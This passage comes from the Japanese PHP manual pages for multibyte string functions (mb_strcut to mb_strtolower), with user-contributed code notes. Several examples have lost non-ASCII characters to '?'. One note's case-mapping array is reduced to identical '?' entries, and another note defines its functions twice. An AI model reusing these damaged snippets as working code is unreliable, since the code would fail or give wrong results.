start が負の場合に返される文字列は、 string の後ろから数えて start バイト目以降となります。 負の start の絶対値が文字列の長さよりも大きい場合、 返される文字列は、string の先頭から始まります。

length

バイト単位での長さ。 省略したり NULL を指定したりした場合は、 文字列の最後までの全バイトを取り出します。

length が負の場合、返される文字列は string の後ろから数えて length バイト目で終了します。 しかし、負の length の絶対値が start の位置を超える場合、空の文字列が返されます。

encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

返り値

mb_strcut() は、 start および length パラメータで指定した string の一部を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

参考

  • mb_substr() - 文字列の一部を得る
  • mb_internal_encoding() - 内部文字エンコーディングを設定あるいは取得する

User Contributed Notes

olivthill at gmail dot com 16-Nov-2017 02:30
Here is an example with UTF8 characters, to see how the start and length arguments are working:

  $str_utf8 = utf8_encode("Deja_vu");
  $str_utf8_0 = mb_strcut($str_utf8, 0, 4, "UTF-8"); // Dej
  $str_utf8_1 = mb_strcut($str_utf8, 1, 4, "UTF-8"); // ej
  $str_utf8_2 = mb_strcut($str_utf8, 2, 4, "UTF-8"); // ej
  $str_utf8_3 = mb_strcut($str_utf8, 3, 4, "UTF-8"); // ja_
  $str_utf8_4 = mb_strcut($str_utf8, 4, 4, "UTF-8"); // a_v

The string includes two special charaters, "e" and "a" internally coded with two bytes.
Note that a multibyte character is removed rather than kept in half at the end of the output.
Note also that the result is the same for a cut 1,4 and a cut 2,4 with this string.
php_engineer_bk at yahoo dot com 08-Oct-2010 03:52
function cut_sense($matne_harf, $l_harf ,$return=1 ) {
if ( strlen($matne_harf) > $l_harf){
$end='...';
}else{
$end='';
}
    if ( function_exists('mb_strcut') ){
        $matne_harf = mb_strcut ( $matne_harf, 0 , $l_harf , "UTF-8" );
    }else{
        $matne_harf =substr($matne_harf, 0, $l_harf);
    }
$text=''.$matne_harf.''.$end.'';
  if ( $return == 1){
  return $text;
  }else{
  print $text;
  }
}

Iranian php programmer (farhad zand +989383015266)
t dot starling at physics dot unimelb dot edu dot au 27-Aug-2004 04:01
What the manual and the first commenter are trying to say is that mb_strcut uses byte offsets, as opposed to mb_substr which uses character offsets.

Both mb_strcut and mb_substr appear to treat negative and out-of-range offsets and lengths in the basically the same way as substr. An exception is that if start is too large, an empty string will be returned rather than FALSE. Testing indicates that mb_strcut first works out start and end byte offsets, then moves each offset left to the nearest character boundary.
oyag02 at yahoo dot co dot jp 26-Sep-2003 03:53
diffrence between mb_substr and mb_substr

example:
mb_strcut('I_ROHA', 1, 2) returns 'I_'. Treated as byte stream.
mb_substr('I_ROHA', 1, 2) returns 'ROHA' Treated as character stream.

# 'I_' 'RO' 'HA' means multi-byte character


指定した幅で文字列を丸める

  • ≪ mb_strcut
  • mb_stripos ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 指定した幅で文字列を丸める

mb_strimwidth

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strimwidth — 指定した幅で文字列を丸める

説明

mb_strimwidth ( string $string , int $start , int $width , string $trim_marker = "" , string|null $encoding = null ) : string

文字列 string を指定した幅 width で丸めます。 半角文字は 1 として、 全角文字は 2 として数えます。 東アジアの文字の長さに関する詳細は » http://www.unicode.org/reports/tr11/ を参照して下さい。

パラメータ

string

丸めたい文字列。

start

開始位置のオフセット。文字列の始めからの文字数 (最初の文字は 0) です。 負のオフセットは、文字列の末尾からのオフセットと解釈されます。

width

丸める幅。負の値は、文字列の末尾からの幅を数えます。

trim_marker

丸めた後にその文字列の最後に追加される文字列。

encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

返り値

丸められた文字列を返します。 trim_marker が設定された場合、 width にマッチする最後の文字を trim_marker で置き換えます。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。
7.1.0 | 負の start と width をサポートするようになりました。

例

例1 mb_strimwidth() の例

<?php
echo mb_strimwidth("Hello World", 0, 10, "...");
// "Hello W..." と出力します
?>

参考

  • mb_strwidth() - 文字列の幅を返す
  • mb_internal_encoding() - 内部文字エンコーディングを設定あるいは取得する

User Contributed Notes

There are no user contributed notes for this page.


大文字小文字を区別せず、 文字列の中で指定した文字列が最初に現れる位置を探す

  • ≪ mb_strimwidth
  • mb_stristr ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 大文字小文字を区別せず、 文字列の中で指定した文字列が最初に現れる位置を探す

mb_stripos

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_stripos — 大文字小文字を区別せず、 文字列の中で指定した文字列が最初に現れる位置を探す

説明

mb_stripos ( string $haystack , string $needle , int $offset = 0 , string|null $encoding = null ) : int|false

mb_stripos() は、 needle が haystack の中で最初に現れる位置を返します。 mb_strpos() とは異なり、 mb_stripos() は大文字小文字を区別しません。 needle が見つからなかった場合は false を返します。

パラメータ

haystack

needle が最初に現れる位置を見つける文字列。

needle

haystack の中で探す文字列。

offset

haystack の中で、検索を開始する位置。 負のオフセットは、文字列の末尾からのオフセットと解釈されます。

encoding

使用する文字エンコーディング名。 省略した場合は内部文字エンコーディングが用いられます。

返り値

needle が haystack の中で最初に現れる位置を返します。needle が見つからない場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。
7.1.0 | 負の offset をサポートするようになりました。

参考

  • stripos() - 大文字小文字を区別せずに文字列が最初に現れる位置を探す
  • strpos() - 文字列内の部分文字列が最初に現れる場所を見つける
  • mb_strpos() - 文字列の中に指定した文字列が最初に現れる位置を見つける

User Contributed Notes

FangTS_ 26-Aug-2019 08:27
How works on examples mb_stripos:

First we will watch example on symbols(..?).
<?php
$text = "Look! It's a text! Wow!"; //simple text
$spaceIsHere = mb_stripos($text," "); //you can replace " " on something what you need or want
$text2 = mb_substr($text,$spaceIsHere); //cutting text with $spaceIsHere
print ($text2);
/* Print will show that result:
" It's a text! Wow!"
Look. That " " wasn't cutted, because mb_substr don't write in var position after " " - he write WHERE is " " in string. */
?>

Also it can work on words, sentences...
Here's one of examples:
<?php
$text = "Look! It's a text! Wow!"; //familiar text, right?)
$afterNeededWord = mb_stripos($text,"text!"); //you can replace "text!" on something else what you need
$text3 = mb_substr($text, $afterNeededWord); //cutting string (it is string? im stupid in that question xD)
print ($text3);
/* Print will show that result:
"text! Wow!"
Explaining the same. */
?>

I hope it was useful with my "good" English skills. ;D
Have a nice day, coder.


大文字小文字を区別せず、 文字列の中で指定した文字列が最初に現れる位置を探す

  • ≪ mb_stripos
  • mb_strlen ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 大文字小文字を区別せず、 文字列の中で指定した文字列が最初に現れる位置を探す

mb_stristr

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_stristr — 大文字小文字を区別せず、 文字列の中で指定した文字列が最初に現れる位置を探す

説明

mb_stristr ( string $haystack , string $needle , bool $before_needle = false , string|null $encoding = null ) : string|false

mb_stristr() は、 haystack の中で最初に needle が現れる場所を探し、 haystack の部分文字列を返します。 mb_strstr() とは異なり、 mb_stristr() は大文字小文字を区別しません。 needle が見つからなかった場合は false を返します。

パラメータ

haystack

needle が最初に現れる位置を見つける文字列。

needle

haystack の中で探す文字列。

before_needle

この関数が haystack のどの部分を返すのかを指定します。 true の場合は、haystack の先頭から needle が最初に現れる位置までを返します (needle を含めません)。 false の場合は、needle が最初に現れる位置から haystack の最後までを返します (needle を含めます)。

encoding

使用する文字エンコーディング名。 省略した場合は内部文字エンコーディングが用いられます。

返り値

haystack の部分文字列を返します。 needle が見つからない場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

参考

  • stristr() - 大文字小文字を区別しない strstr
  • strstr() - 文字列が最初に現れる位置を見つける
  • mb_strstr() - 文字列の中で、指定した文字列が最初に現れる位置を見つける

User Contributed Notes

There are no user contributed notes for this page.


文字列の長さを得る

  • ≪ mb_stristr
  • mb_strpos ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字列の長さを得る

mb_strlen

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strlen — 文字列の長さを得る

説明

mb_strlen ( string $string , string|null $encoding = null ) : int

文字列の長さを取得します。

パラメータ

string

長さを調べたい文字列。

encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

返り値

文字エンコーディング encoding の文字列 string の文字数を返します。 マルチバイト文字の一文字は1個として数えられます。

エラー / 例外

不明な encoding を指定した場合は E_WARNING レベルの警告が生成されます。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

参考

  • mb_internal_encoding() - 内部文字エンコーディングを設定あるいは取得する
  • grapheme_strlen() - 書記素単位で文字列の長さを取得する
  • iconv_strlen() - 文字列の文字数を返す
  • strlen() - 文字列の長さを得る

User Contributed Notes

David Spector 08-Jan-2020 11:19
It may not be clear whether PHP actually supports utf-8, which is the current de facto standard character encoding for Web documents, which supports most human languages. The good news is: it does.

I wrote a test program which successfully reads in a utf-8 file (without BOM) and manipulates the characters using mb_substr, mb_strlen, and mb_strpos (mb_substr should normally be avoided, as it must always start its search at character position 0).

The results with a variety of Unicode test characters in utf-8 encoding, up to four bytes in length, were mostly correct, except that accent marks were always mistakenly treated as separate characters instead of being combined with the previous character; this problem can be worked around by programming, when necessary.
Yzmir Ramirez 15-Apr-2011 09:06
If you are unsure about what $encoding can be set to, here's a full list of all the encodings supported by this extension:

http://www.php.net/manual/en/mbstring.supported-encodings.php
Ben 19-Nov-2008 02:59
If you find yourself without the mb string functions and can't easily change it, a quick hack replacement for mb_strlen for utf8 characters is to use a a PCRE regex with utf8 turned on.

$strlen = preg_match_all("/.{1}/us",$utf8string,$dummy);

This is basically an ugly hack which counts all single character matches, and I'd expect it to be painfully slow on large strings.
drake127 12-Aug-2007 08:36
Speed of mb_strlen varies a lot according to specified character set.

If you need length of string in bytes (strlen cannot be trusted anymore because of mbstring.func_overload) you should use <?php mb_strlen($string, '8bit'); ?>.
It's the fastest way (still a way slower than strlen, though) to determine byte length of string. Other single byte character sets (ASCII, ISO-8859-1, ...) are several times slower than 8bit.
koala at example dot com 27-Jul-2007 12:19
Just did a little benchmarking (1.000.000 times with lorem ipsum text) on the mbs functions

especially mb_strtolower and mb_strtoupper are really slow (up to 100 times slower compared to normal functions). Other functions are alike-ish, but sometimes up to 5 times slower.

just be cautious when using mb_ functions in high frequented scripts.

# test runs: 1000000
# benchmarking strlen vs. mb_strlen
# normal strlen: 3.6795361042023 ms, average: 3.6795361042023E-6 ms
# mb_strlen: 5.5934538841248 ms, average: 5.5934538841248E-6 ms
ok 1 - mb_strlen is slower than strlen
# mb_strlen is 1.52 slower than strlen
#
#
# benchmarking strpos vs. mb_strpos
# normal strpos: 5.5523281097412 ms, average: 5.5523281097412E-6 ms
# mb_strlen: 31.180974960327 ms, average: 3.1180974960327E-5 ms
ok 2 - mb_strlen is slower than strlen
# mb_strpos is 5.62 slower than strpos
#
#
# benchmarking substr vs. mb_substr
# normal substr: 3.4437320232391 ms, average: 3.4437320232391E-6 ms
# mb_strlen: 3.5374181270599 ms, average: 3.5374181270599E-6 ms
ok 3 - mb_strlen is slower than strlen
# mb_substr is 1.03 slower than substr
#
#
# benchmarking strtolower vs. mb_strtolower
# normal strtolower: 4.446839094162 ms, average: 4.446839094162E-6 ms
# mb_strlen: 193.44901108742 ms, average: 0.00019344901108742 ms
ok 4 - mb_strlen is slower than strlen
# mb_strtolower is 43.5 slower than strtolower
#
#
# benchmarking strtoupper vs. mb_strtoupper
# normal strtoupper: 3.0210740566254 ms, average: 3.0210740566254E-6 ms
# mb_strlen: 340.71775603294 ms, average: 0.00034071775603294 ms
ok 5 - mb_strlen is slower than strlen
# mb_strtoupper is 112.78 slower than strtoupper
motin at demomusic dot nu 06-Feb-2007 10:12
Thank you Peter Albertsson for presenting that!

After spending more than eight hours tracking down two specific bugs in my mbstring-func_overloaded environment I have learned a very important lesson:

Many developers rely on strlen to give the amount of bytes in a string. While mb-overloading has very many advantages, the most hard-spotted pitfall must be this issue.

Two examples (from the two bugs found earlier):

1. Writing a string to a file:

<?php
$str = "string with utf-8 chars aea - doo-bee doo-bee dooh";
$fp = fopen($this->_file, "wb");
if ($fp) {
  $len = strlen($str);
  fwrite($fp, $str, $len);
}
?>

PS This is found i the PEAR::Cache_Lite package (Lite.php) - Reported

2. Iterating through a string's characters:

<?php
$str = "string with utf-8 chars aeo - doo-bee doo-bee dooh";
$newStr = "";
for ($i = 0; $i < strlen($str); $i++) {
  $newStr .= $str[$i];
}
?>

Both of these situations will fail to save / store the last characters in $str. This can be very hard to spot and can be especially fatal for say serialized strings, xml etc.

So, try to avoid these situations to support overloaded environments, and remeber Peter Albertssons remark if you find problems under such an environment.
filatei at gmail dot com 12-Aug-2006 10:48
I have been working with some funny html characters lately and due to the nightmare in manipulating them between mysql and php, I got the database column set to utf8, then store characters with html enity "&#7885;" as ? in the database and set the encoding on php as "utf8".

This is where mb_strlen became more useful than strlen.  While strlen('?') gives result as 3, mb_strlen('?','UTF-8') gives 1 as expected.

But left(column1,1) in mysql still gives wrong char for a multibyte string.  In the example above, I had to do left(column1,3) to get the correct string from mysql.  I am now about to investigate multibyte manipulation in mysql.


文字列の中に指定した文字列が最初に現れる位置を見つける

  • ≪ mb_strlen
  • mb_strrchr ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字列の中に指定した文字列が最初に現れる位置を見つける

mb_strpos

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strpos — 文字列の中に指定した文字列が最初に現れる位置を見つける

説明

mb_strpos ( string $haystack , string $needle , int $offset = 0 , string|null $encoding = null ) : int|false

ある文字列の中で別の文字列が最初に現れる位置を見つけます。

マルチバイト文字列に正しくマッチするように strpos() を拡張したもので、 最初の 1 文字目の位置が 0 、2 文字目の文字が 1 というようになります。

パラメータ

haystack

調べたい文字列。

needle

haystack の中から探す文字列。 strpos() とは違い、 数値を指定しても文字コードの値と見なされることはありません。

offset

検索オフセット。 指定されない場合は、0 が使用されます。 負のオフセットは、文字列の末尾からのオフセットと解釈されます。

encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

返り値

文字列 haystack の中で needle が最初に現れる位置を数字で返します。 needle が見付からなかった場合、false を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。
7.1.0 | 負の offset をサポートするようになりました。

参考

  • mb_internal_encoding() - 内部文字エンコーディングを設定あるいは取得する
  • strpos() - 文字列内の部分文字列が最初に現れる場所を見つける

User Contributed Notes

stestagg at talk21 dot com 05-Aug-2006 05:12
sorry, my previous post had an error.  replace the 1000 with strlen($haystack) to handle strings longer than 1000 chars.

btw. This is an issue with the mbstring functions.  you can't specify the $encoding without specifying a $length, thus this reduces the functionality of mb_substr compared to substr
stestagg at talk21 dot com 04-Aug-2006 09:42
a sample mb_str_replace function:

function mb_str_replace($haystack, $search,$replace, $offset=0,$encoding='auto'){
    $len_sch=mb_strlen($search,$encoding);
    $len_rep=mb_strlen($replace,$encoding);

    while (($offset=mb_strpos($haystack,$search,$offset,$encoding))!==false){
        $haystack=mb_substr($haystack,0,$offset,$encoding)
            .$replace
            .mb_substr($haystack,$offset+$len_sch,1000,$encoding);
        $offset=$offset+$len_rep;
        if ($offset>mb_strlen($haystack,$encoding))break;
    }
    return $haystack;
}
stestagg at talk21 dot com 04-Aug-2006 09:39
It appears that the $offset value is a character count not a byte count.  (This may seem obvious but it isn't explicitly stated)


別の文字列の中で、ある文字が最後に現れる場所を見つける

  • ≪ mb_strpos
  • mb_strrichr ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 別の文字列の中で、ある文字が最後に現れる場所を見つける

mb_strrchr

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_strrchr — 別の文字列の中で、ある文字が最後に現れる場所を見つける

説明

mb_strrchr ( string $haystack , string $needle , bool $before_needle = false , string|null $encoding = null ) : string|false

mb_strrchr() は、 haystack の中で最後に needle が現れる場所を探し、 haystack の部分文字列を返します。 needle が見つからなかった場合は false を返します。

パラメータ

haystack

needle が最後に現れる位置を探す文字列。

needle

haystack の中で探す文字列。

before_needle

この関数が haystack のどの部分を返すのかを指定します。 true の場合は、haystack の先頭から needle が最後に現れる位置までを返します。 false の場合は、needle が最後に現れる位置から haystack の最後までを返します。

encoding

使用する文字エンコーディングの名前。 省略した場合は内部文字エンコーディングを使用します。

返り値

haystack の部分文字列を返します。 needle が見つからない場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

参考

  • strrchr() - 文字列中に文字が最後に現れる場所を取得する
  • mb_strstr() - 文字列の中で、指定した文字列が最初に現れる位置を見つける
  • mb_strrichr() - 大文字小文字を区別せず、 別の文字列の中である文字が最後に現れる場所を探す

User Contributed Notes

There are no user contributed notes for this page.


大文字小文字を区別せず、 別の文字列の中である文字が最後に現れる場所を探す

  • ≪ mb_strrchr
  • mb_strripos ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 大文字小文字を区別せず、 別の文字列の中である文字が最後に現れる場所を探す

mb_strrichr

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_strrichr — 大文字小文字を区別せず、 別の文字列の中である文字が最後に現れる場所を探す

説明

mb_strrichr ( string $haystack , string $needle , bool $before_needle = false , string|null $encoding = null ) : string|false

mb_strrichr() は、 haystack の中で最後に needle が現れる場所を探し、 haystack の部分文字列を返します。 mb_strrchr() とは異なり、 mb_strrichr() は大文字小文字を区別しません。 needle が見つからなかった場合は false を返します。

パラメータ

haystack

needle が最後に現れる位置を探す文字列。

needle

haystack の中で探す文字列。

before_needle

この関数が haystack のどの部分を返すのかを指定します。 true の場合は、haystack の先頭から needle が最後に現れる位置までを返します。 false の場合は、needle が最後に現れる位置から haystack の最後までを返します。

encoding

使用する文字エンコーディングの名前。 省略した場合は内部文字エンコーディングを使用します。

返り値

haystack の部分文字列を返します。 needle が見つからない場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

参考

  • mb_stristr() - 大文字小文字を区別せず、 文字列の中で指定した文字列が最初に現れる位置を探す
  • mb_strrchr() - 別の文字列の中で、ある文字が最後に現れる場所を見つける

User Contributed Notes

There are no user contributed notes for this page.


大文字小文字を区別せず、 文字列の中で指定した文字列が最後に現れる位置を探す

  • ≪ mb_strrichr
  • mb_strrpos ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 大文字小文字を区別せず、 文字列の中で指定した文字列が最後に現れる位置を探す

mb_strripos

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_strripos — 大文字小文字を区別せず、 文字列の中で指定した文字列が最後に現れる位置を探す

説明

mb_strripos ( string $haystack , string $needle , int $offset = 0 , string|null $encoding = null ) : int|false

mb_strripos() は、マルチバイト対応の strripos() 操作を、文字数に基づいて行います。 needle の位置を haystack の先頭から順に数えていきます。 最初の文字の位置は 0、二番目の文字の位置は 1 という具合です。 mb_strrpos() とは異なり、 mb_strripos() は大文字小文字を区別しません。

パラメータ

haystack

needle が最後に現れる位置を見つける文字列。

needle

haystack の中で探す文字列。

offset

haystack の中で、検索を開始する位置。

encoding

使用する文字エンコーディング名。 省略した場合は内部文字エンコーディングが用いられます。

返り値

needle が haystack の中で最後に現れる位置を返します。needle が見つからない場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

参考

  • strripos() - 文字列中で、特定の(大文字小文字を区別しない)文字列が最後に現れた位置を探す
  • strrpos() - 文字列中に、ある部分文字列が最後に現れる場所を探す
  • mb_strrpos() - 文字列の中に指定した文字列が最後に現れる位置を見つける

User Contributed Notes

ivrokrambler at gmail dot com 01-Jul-2017 05:10
<?php
function backStrpos($str, $needle, $offset){
    $needler = backStr($needle);
    $strr = backStr($str);
    $offsetr = strlen($str) - 1 - $offset;
    $posr = mb_stripos($strr, $needler, $offsetr);
    return strlen($str) - 1 - $posr - strlen($needle);
}
function backStr($str){
    $str = str_replace(array('<', '>'), array('>', '<'), $str);
    return strrev($str);
}

function backStrpos($str, $needle, $offset){
    $needler = backStr($needle);
    $strr = backStr($str);
    $offsetr = strlen($str) - 1 - $offset;
    $posr = mb_stripos($strr, $needler, $offsetr);
    return strlen($str) - 1 - $posr - strlen($needle);
}
function backStr($str){
    $str = str_replace(array('<', '>'), array('>', '<'), $str);
    return strrev($str);
}

$test = '<table><TR>TEXT</TR><TR>TEST</TR></table>';
$pos = mb_stripos($test, 'TEST', 0);
var_dump($pos);
var_dump(backStrpos($test, '<tr', $pos));
var_dump(backStrpos($test, '<tr', backStrpos($test, '<tr', $pos)));

------->
int(24)
int(19)
int(6)
easai 27-May-2010 09:53
Here are Java like startsWith/endsWith implementations in PHP.

<?php
    function startsWith($haystack,$needle)
    {
      $res=FALSE;
      if(mb_strripos($haystack,$needle,0,"utf-8")==0)
         $res= TRUE;
      return $res;
    }

    function endsWith($haystack,$needle)
    {
      $res=FALSE;
      $len=mb_strlen($haystack);
      $pos=$len-mb_strlen($needle);
      if(mb_strripos($haystack,$needle,0,"utf-8")==$pos)
         $res= TRUE;
      return $res;
    }
?>


文字列の中に指定した文字列が最後に現れる位置を見つける

  • ≪ mb_strripos
  • mb_strstr ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字列の中に指定した文字列が最後に現れる位置を見つける

mb_strrpos

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strrpos — 文字列の中に指定した文字列が最後に現れる位置を見つける

説明

mb_strrpos ( string $haystack , string $needle , int $offset = 0 , string|null $encoding = null ) : int|false

mb_strrpos() は、マルチバイト対応の strrpos() 操作を、文字数に基づいて行います。 needle の位置を haystack の先頭から順に数えていきます。 最初の文字の位置は 0、二番目の文字の位置は 1 という具合です。

パラメータ

haystack

needle が最後に登場する場所を調べたい文字列。

needle

haystack の中で見つけたい文字列。

offset
指定すると、文字列中の任意の文字位置から検索を開始することができます。 負の値を指定すると、文字の終端より前の任意の位置で検索を終了します。
encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

返り値

文字列 haystack の中で needle が最後に現れる位置を数字で返します。 needle が見付からなかった場合、false を返します。

注意

注意: encoding パラメータは、 PHP 5.2.0 以降は三番目のパラメータではなく四番目のパラメータに変わりました。 過去との互換性を保つために encoding を三番目の引数で指定することもできますが、これは推奨されません。 将来は削除される予定です。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

参考

  • mb_strpos() - 文字列の中に指定した文字列が最初に現れる位置を見つける
  • mb_internal_encoding() - 内部文字エンコーディングを設定あるいは取得する
  • strrpos() - 文字列中に、ある部分文字列が最後に現れる場所を探す

User Contributed Notes

Anonymous 08-Apr-2015 02:20
"Negative values will stop searching at an arbitrary point prior to the end of the string. " ist misleading.
The needle may not fully part of searchrange, defined by a negative offset.
A negative offsets marks the last byte, where a search could start.
<?php
$test = "Hallo, Herr Gott";
var_dump(strlen($test));                       // int(17)
var_dump(mb_strrpos($test,'ott',13));  // int(13)
var_dump(mb_strrpos($test,'ott',-4)); // int(13) 17-4 = 13
var_dump(mb_strrpos($test,'ott',-5)); // bool(false)
?>
27-Nov-2005 06:32
mb_strrpos throws a warning if $haystack is empty.
strrpos simply returns FALSE.

This is something to be wary of if overloading the mb functions.


文字列の中で、指定した文字列が最初に現れる位置を見つける

  • ≪ mb_strrpos
  • mb_strtolower ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字列の中で、指定した文字列が最初に現れる位置を見つける

mb_strstr

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_strstr — 文字列の中で、指定した文字列が最初に現れる位置を見つける

説明

mb_strstr ( string $haystack , string $needle , bool $before_needle = false , string|null $encoding = null ) : string|false

mb_strstr() は、 haystack の中で最初に needle が現れる場所を探し、 haystack の部分文字列を返します。 needle が見つからなかった場合は false を返します。

パラメータ

haystack

needle が最初に現れる位置を見つける文字列。

needle

haystack の中で探す文字列。

before_needle

この関数が haystack のどの部分を返すのかを指定します。 true の場合は、haystack の先頭から needle が最初に現れる位置までを返します (needle を含めません)。 false の場合は、needle が最初に現れる位置から haystack の最後までを返します (needle を含めます)。

encoding

使用する文字エンコーディング名。 省略した場合は内部文字エンコーディングが用いられます。

返り値

haystack の部分文字列を返します。 needle が見つからない場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

参考

  • stristr() - 大文字小文字を区別しない strstr
  • strstr() - 文字列が最初に現れる位置を見つける
  • mb_stristr() - 大文字小文字を区別せず、 文字列の中で指定した文字列が最初に現れる位置を探す

User Contributed Notes

There are no user contributed notes for this page.


文字列を小文字にする

  • ≪ mb_strstr
  • mb_strtoupper ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字列を小文字にする

mb_strtolower

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mb_strtolower — 文字列を小文字にする

説明

mb_strtolower ( string $string , string|null $encoding = null ) : string

string のすべてのアルファベットを小文字にして返します。

パラメータ

string

小文字にしたい文字列。

encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

返り値

string のすべてのアルファベットを小文字にしたものを返します。

Unicode

Unicode 文字属性についての詳細は » http://www.unicode.org/reports/tr21/ を参照してください。

strtolower() と違い、アルファベットであるかどうかは Unicode 文字属性をもとに決定されます。したがって、この関数の挙動は ロケールの設定に影響されず、すべてのアルファベット、 例えば A ウムラウト (A) を変換することができます。

例

例1 mb_strtolower() の例

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = mb_strtolower($str);
echo $str; // 結果は mary had a little lamb and she loved it so
?>

例2 非ラテン UTF-8 テキストでの mb_strtolower() の例

<?php
$str = "Τ?χιστη αλ?πηξ βαφ?? ψημ?νη γη, δρασκελ?ζει υπ?ρ νωθρο? κυν??";
$str = mb_strtolower($str, 'UTF-8');
echo $str; // 結果は τ?χιστη αλ?πηξ βαφ?? ψημ?νη γη, δρασκελ?ζει υπ?ρ νωθρο? κυν??
?>

参考

  • mb_strtoupper() - 文字列を大文字にする
  • mb_convert_case() - 文字列に対してケースフォールディングを行う
  • strtolower() - 文字列を小文字にする

User Contributed Notes

Ukio 25-Nov-2015 09:32
Maybe it help someone.
Make up case with first char, low case for other.

<?php
function str_split_unicode($str, $l = 0) {
    if ($l > 0) {
        $ret = array();
        $len = mb_strlen($str, "UTF-8");
        for ($i = 0; $i < $len; $i += $l) {
            $ret[] = mb_substr($str, $i, $l, "UTF-8");
        }
        return $ret;
    }
    return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}

function ToCorrectCase($str){

    $str = mb_strtolower($str);
    $str_array = str_split_unicode($str);
    $str_array[0] = mb_strtoupper($str_array[0]);
    $str = '';
    foreach ($str_array as $key){
        $str = $str.$key;
    }
    return $str;
}
?>
fisharebest at gmail dot com 18-Apr-2012 04:27
There is not a one-to-one correspondence between upper and lower case letters.

Turkish is a good example of this.  In Turkish, the letter I/i has a dotted-upper-case form (?) and a dotless-lower-case form (?).

https://en.wikipedia.org/wiki/Dotted_and_dotless_I

This means that you cannot correctly convert between upper-case and lower-case without also knowing the locale of the data.

Since the function does not let you specify a locale, you should only use this function for text written in languages that follow the same orthography as English.

Although it does handle some digraphs, such as the Dutch ij (?), it does not handle others, such as the Polish dz (?).
akniep at linklift dot net 12-Sep-2011 08:42
Please, note that when using with UTF-8 mb_strtolower will only convert upper case characters to lower case which are marked with the Unicode property "Upper case letter" ("Lu"). However, there are also letters such as "Letter numbers" (Unicode property "Nl") that also have lower case and upper case variants. These characters will not be converted be mb_strtolower!

Example:
The Roman letters Ⅰ, Ⅱ, Ⅲ, ..., ? (UTF-8 code points 8544 through 8559) also exist in their respective lower case variants ⅰ, ⅱ, ⅲ, ..., ? (UTF-8 code points 8560 through 8575) and should, in my opinion, also be converted by mb_strtolower, but they are not!

Big internet-companies (like Google) do match both variants as semantically equal (since the representations only differ in case).

Since I was not finding any proper solution in the internet on how to map all UTF8-strings to their lowercase counterpart in PHP, I offer the following hard-coded extended mb_strtolower function for UTF-8 strings:

The function wraps the existing function mb_strtolower() and additionally replaces uppercase UTF8-characters for which there is a lowercase representation. Since there is no proper Unicode uppercase and lowercase character-table in the internet that I was able to find, I checked the first million UTF8-characters against the Google-search and -KeywordTool and identified the following 78 characters as uppercase-characters, not being replaced by mb_strtolower, but having a UTF8 lowercase counterpart.

<?php

//the numbers in the in-line-comments display the characters' Unicode code-points (CP).
function strtolower_utf8_extended( $utf8_string )
{
    $additional_replacements    = array
        ( "?"    => "?"        //   453 ->   454
        , "?"    => "?"        //   456 ->   457
        , "?"    => "?"        //   459 ->   460
        , "?"    => "?"        //   498 ->   499
        , "?"    => "?"        //  1015 ->  1016
        , "?"    => "?"        //  1017 ->  1010
        , "?"    => "?"        //  1018 ->  1019
        , "?"    => "?"        //  8072 ->  8064
        , "?"    => "?"        //  8073 ->  8065
        , "?"    => "?"        //  8074 ->  8066
        , "?"    => "?"        //  8075 ->  8067
        , "?"    => "?"        //  8076 ->  8068
        , "?"    => "?"        //  8077 ->  8069
        , "?"    => "?"        //  8078 ->  8070
        , "?"    => "?"        //  8079 ->  8071
        , "?"    => "?"        //  8088 ->  8080
        , "?"    => "?"        //  8089 ->  8081
        , "?"    => "?"        //  8090 ->  8082
        , "?"    => "?"        //  8091 ->  8083
        , "?"    => "?"        //  8092 ->  8084
        , "?"    => "?"        //  8093 ->  8085
        , "?"    => "?"        //  8094 ->  8086
        , "?"    => "?"        //  8095 ->  8087
